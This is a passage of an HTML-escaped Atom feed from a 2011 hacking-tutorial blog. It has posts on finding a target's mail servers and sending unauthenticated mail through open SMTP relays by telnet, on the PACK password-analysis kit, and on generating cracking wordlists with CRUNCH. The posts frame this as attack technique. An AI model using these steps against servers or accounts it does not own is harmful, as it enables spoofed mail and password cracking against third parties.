&lt;a href="http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html"&gt;&lt;strong&gt;Basic SQL Injection 101&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html"&gt;&lt;strong&gt;SQLi &amp;amp; WAF Bypassing&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://kaoticcreations.blogspot.com/p/blind-time-based-sql-injections.html"&gt;&lt;strong&gt;BLIND &amp;amp; Time-Based SQL Injections&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://kaoticcreations.blogspot.com/2011/08/sql-injection-how-to-use-load-file-into.html"&gt;&lt;strong&gt;SQLi using LOAD FILE &amp;amp; INTO OUTFILE&lt;/strong&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-5327310034664646028?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wFZdHjq-yRzv2ogT16nq_Ffk1fE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wFZdHjq-yRzv2ogT16nq_Ffk1fE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wFZdHjq-yRzv2ogT16nq_Ffk1fE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wFZdHjq-yRzv2ogT16nq_Ffk1fE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/q34IYvNDh9s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/5327310034664646028/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/07/sql-injection-tutorials.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5327310034664646028?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/5327310034664646028?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/q34IYvNDh9s/sql-injection-tutorials.html" title="SQL INJECTION TUTORIALS" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/07/sql-injection-tutorials.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cFQXY4eip7ImA9WhdTE0Q.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-675767982142700326</id><published>2011-07-11T10:43:00.000-05:00</published><updated>2011-07-11T10:43:30.832-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-11T10:43:30.832-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Sending Messages" /><category scheme="http://www.blogger.com/atom/ns#" term="Port 25" /><category scheme="http://www.blogger.com/atom/ns#" term="Open SMTP" /><category scheme="http://www.blogger.com/atom/ns#" term="NSLOOKUP" /><category scheme="http://www.blogger.com/atom/ns#" term="Sending Mail" /><category scheme="http://www.blogger.com/atom/ns#" term="SMTP" /><category scheme="http://www.blogger.com/atom/ns#" term="SMTP Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Unathenticated Mail Servers" /><category scheme="http://www.blogger.com/atom/ns#" term="MX" /><category scheme="http://www.blogger.com/atom/ns#" term="Send Mail" /><category scheme="http://www.blogger.com/atom/ns#" term="Mail Exchange" /><title>HOW TO: Send Messages via UnAuthenticated SMTP Server</title><content type="html">Email Server Hunting with NSLookup:&lt;br /&gt;
OK so I have showed you how to perform password profiling, and how to get cracking locally and over the network, but some of you keep asking how you find the mail servers to attack. If the FQDN or IP address is unknown, the easiest way to find this information is to use the Nslookup command-line tool to find the MX record for the destination domain. You can try various web scanners to find it or you can simply open a command prompt and type the following: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt;nslookup&lt;/li&gt;
&lt;li&gt;set type=MX&lt;/li&gt;
&lt;li&gt;&amp;lt;enter site name&amp;gt;&lt;/li&gt;
&lt;li&gt;nslookup type=MX &amp;lt;target IP or site name&amp;gt;&lt;/li&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img714.imageshack.us/img714/5132/nslookupw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="255" m$="true" src="http://img714.imageshack.us/img714/5132/nslookupw.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/ul&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; if it seems to timeout or false results you can adjust timing by using "set timeout 20" between step 2 and step 3 above, since the default is set to only 15 seconds. &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;This will begin to send DNS queries for the MX or mail exchange records. You will find this will give you an output that tells you which mail servers are registered by your target site. Note the first line after "Non-authoritative answer". The "MX preference" specifies which mail server to use and in which order. The lower the number, the more preferred the mail server is. If the preferences for each mail server are the same, you can use any them. &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;OK, so you found the email server...what now? We can fire up Hydra and start trying to bruteforce the passwords for any known emails (follow previous tutorials for this part), but before we do lets see how secure it really is. Keep the console open for another minute and let us see if we can use Telnet to log into the SMTP server, if we can get in we will then see if we can send a message without any authenticated credentials. Here is how we use Telnet on Port 25 to test SMTP communication from command line:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Telnet&lt;/li&gt;
&lt;li&gt;localecho&lt;/li&gt;
&lt;/ul&gt;This will let us view all of the characters typed as we type them in the console (localecho not always required but I find it helpful on older systems-XP)&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;open &amp;lt;smtp server ip/name found above&amp;gt; 25&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img4.imageshack.us/img4/2143/telnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" m$="true" src="http://img4.imageshack.us/img4/2143/telnet.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;This will open telnet session between our machine and remote ip/server on port 25 (port 25 is default port for SMTP; you may need to change to fit your situation)&lt;/div&gt;&lt;ul&gt;&lt;li&gt;EHLO &amp;lt;ip/servername.com&amp;gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img198.imageshack.us/img198/6807/ehlo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" m$="true" src="http://img198.imageshack.us/img198/6807/ehlo.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;EHLO is the Extended Simple Message Transfer Protocol (ESMTP) verb and can help to establish the remote SMTP capabilities during the initial connection&lt;/div&gt;&lt;ul&gt;&lt;li&gt;MAIL FROM:sendername@email.com&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;This defines who email will be sent from (helps to use valid email to avoid errors on some setups or in case the receiver is undeliverable)&lt;/div&gt;&lt;ul&gt;&lt;li&gt;RCPT TO:receivername@email.com NOTIFY=success,failure&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;The NOTIFY is optional but can be helpful as it will cause the server to provide a message to let us know whether it worked or not. A message number of 500 means there was a failure or error, while 220 means it was a success&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;You will receive a 354 response that resembles the following:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Copy Code 354 Start mail input; end with &amp;lt;CLRF&amp;gt;.&amp;lt;CLRF&amp;gt;"&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Subject: &amp;lt;Subject Title/Name&amp;gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;This defines the subject line of email message, &lt;strong&gt;now hit ENTER to add a blank line. &lt;/strong&gt;We need to have a blank line between the Subject header line and the Body of email to avoid errors&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Type your message now...press ENTER when done&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;This defines the body of the email message to be sent&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Just press ENTER again&lt;/li&gt;
&lt;li&gt;. (Type a Period)&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;This should end the message and let it know we are ready to send. You should see a message similar to this: &lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"Copy Code 250 2.6.0 &amp;lt;GUID&amp;gt; Queued mail for delivery"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;That is it, you just sent a SMTP email message without any authentication required! You can repeat as necessary or you can type QUIT to disconnect from the SMTP server, which should give you a message like this: &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Copy Code 221 2.0.0 Service closing transmission channel."&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;You can then type QUIT once more to close Telnet session. &lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Note:&lt;/strong&gt;You can't use the backspace key after you have connected to the destination SMTP server within the Telnet session. If you make a mistake as you type an SMTP command, you must press ENTER and then type the command again from scratch once more.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-675767982142700326?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/21dwZN8pK1XIeMYlWH2kIF90EVU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/21dwZN8pK1XIeMYlWH2kIF90EVU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/21dwZN8pK1XIeMYlWH2kIF90EVU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/21dwZN8pK1XIeMYlWH2kIF90EVU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/yGxAGUoaQ6Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/675767982142700326/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/07/how-to-send-messages-via.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/675767982142700326?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/675767982142700326?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/yGxAGUoaQ6Y/how-to-send-messages-via.html" title="HOW TO: Send Messages via UnAuthenticated SMTP Server" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/07/how-to-send-messages-via.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EFQ30-eCp7ImA9WhZbFEs.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-651287123466659093</id><published>2011-06-19T01:40:00.000-05:00</published><updated>2011-06-19T01:40:12.350-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-19T01:40:12.350-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Passwords" /><category scheme="http://www.blogger.com/atom/ns#" term="Password Analysis and Cracking Kit" /><category scheme="http://www.blogger.com/atom/ns#" term="Wordlists" /><category scheme="http://www.blogger.com/atom/ns#" term="Password Analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="PACK" /><category scheme="http://www.blogger.com/atom/ns#" term="Backtrack 5" /><title>PACK - Password Analysis and Cracking Kit</title><content type="html">I made this video while I was messing around trying to figure out how to get started with the whole making videos thing. PACK stands for Password Analysis and Cracking Kit, and it can be a handy tool to have around. It can be used to analyze your wordlists and provide you with helpful statistics which can show trends. These trends can be used to help you identify the quickest methods for yeilding the highest results. It also has the ability to provide an analysis output of the proposed masks to use or that would be needed, which can be very handy in turning around and inputting into tools in the Hashcat suite. It does not do much else, hope you enjoy none the less...&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://2.gvt0.com/vi/pUCoMmsztIo/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/pUCoMmsztIo&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/pUCoMmsztIo&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-651287123466659093?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/asRIC9LEZnR7Aoo5-Pq18PEu8wE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/asRIC9LEZnR7Aoo5-Pq18PEu8wE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/asRIC9LEZnR7Aoo5-Pq18PEu8wE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/asRIC9LEZnR7Aoo5-Pq18PEu8wE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/G8VPtNPNNko" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/651287123466659093/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/pack-password-analysis-and-cracking-kit.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/651287123466659093?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/651287123466659093?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/G8VPtNPNNko/pack-password-analysis-and-cracking-kit.html" title="PACK - Password Analysis and Cracking Kit" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/pack-password-analysis-and-cracking-kit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04CSHs8eip7ImA9WhZbFEs.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-3096852540218767945</id><published>2011-06-19T01:33:00.001-05:00</published><updated>2011-06-19T01:46:09.572-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-19T01:46:09.572-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Creating Wordlist" /><category scheme="http://www.blogger.com/atom/ns#" term="Wordlist" /><category scheme="http://www.blogger.com/atom/ns#" term="Word Generator" /><category scheme="http://www.blogger.com/atom/ns#" term="Common User Password Profiler" /><category scheme="http://www.blogger.com/atom/ns#" term="Password Profiling" /><category scheme="http://www.blogger.com/atom/ns#" term="CRUNCH" /><category scheme="http://www.blogger.com/atom/ns#" term="WYD" /><category scheme="http://www.blogger.com/atom/ns#" term="Wordlist tools" /><category scheme="http://www.blogger.com/atom/ns#" term="CUPP" /><title>Wordlists &amp; Password Profiling with CRUNCH, WyD, &amp; CUPP</title><content type="html">&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Today I am going to show you how to use three (3) different tools in Linux (Backtrack 5) for creating targeted wordlists to help speed up and increase the chance of success for your dictionary attacks. I will be covering the use of CRUNCH for pure wordlist generation, and then I will cover the use of WyD and CUPP which use password profiling techniques to create targeted wordlists to narrow your attacks. I will provide the written walk through here with a video at the end. Let's begin with CRUNCH...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;=====================================================================================&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;++++++++++++++++++++++++++++CRUNCH - WORDLIST GENERATOR+++++++++++++++++++++++++++++&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;=====================================================================================&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;CRUNCH is a wordlist generator based on the user specified character set. It takes the character set designated by the user and generates all combinations and permutations possible into a nice new wordlist for you to use in your dictionary/bruteforce tools. It supports lower and upper alpha-numeric as well as special character set and also has the ability to break the output into multiple files based on the number of lines or designated file size. It also has the ability to pause and resume which is helpful when generating very large wordlists that may take some time to fully compile. You can download the latest version from the sourceforge homepage, which is located here: http://sourceforge.net/projects/crunch-wordlist/files/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;You will need to download and extract using the following methods:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: tar -zxvf crunch-3.0.1.tgz&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: cd crunch-3.0.1/&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Crunch can be used to create great wordlists and with the proper sytnax can even be piped directly into brute-forcing tools, for example AirCrack and CowPatty can use the piped output for Wireless password cracking (I highly suggest CowPatty if you are dealing with large wordlists due to restrictions in AirCrack on the number of keys that can be processed).&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Basic syntax of CRUNCH looks like this (See MAN Pages for details):&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;./ crunch &amp;lt;min-len&amp;gt; &amp;lt;max-len&amp;gt; [-f /path/to/charset.lst charset-name] [-o&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;wordlist.txt]&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;[-t [FIXED]@@@@] [-s startblock] [-c number]&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Breakdown of Syntax:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;min-len = minimum length string to start at (REQUIRED)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;max-len = maximum length string to end at.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;(REQUIRED) &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;charset = defines the char set to use (If you leave it will use lower case alpha only. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: If you want to include the space character in your character set you must enclose your character set in quotes, like so: "abc ". If you want to use char set files you can reference the -t argument below or just paste it in (check my Hashcat tutorial for full char sets you can use, or reference the charsets.lst that install s with Crunch in default directory). &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-b = number[type: kb/mb/gb] - which specifies the size of the output file (no space between the number and type (50kb/50mb/50gb). &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: only works if -o START is used and the output files will be in the format of starting letter-ending letter for example: ./crunch 4 5 -b 20mib -o START will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-c &amp;lt;number&amp;gt; = Is similar to -b above but breaks the files based on the number of lines to write to the output file. It also requires -o START to be used&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: The output files will be in the format of starting letter-ending letter for example: ./crunch 1 1 -f /pentest/password/crunch/charset.lst mixal- pha-numeric-all-space -o START -c 60 will result in 2 files: a-7.txt and 8-\ .txt The reason for the slash in the second filename is the ending character is space and ls has to escape it to print it (so Yes you will need to put in the \ when specifying the filename because the last character is a space)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-f &amp;lt;/path/to/charset.lst&amp;gt; &amp;lt;charset-name&amp;gt; = Allows you to specify a character set from the charset.lst &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; 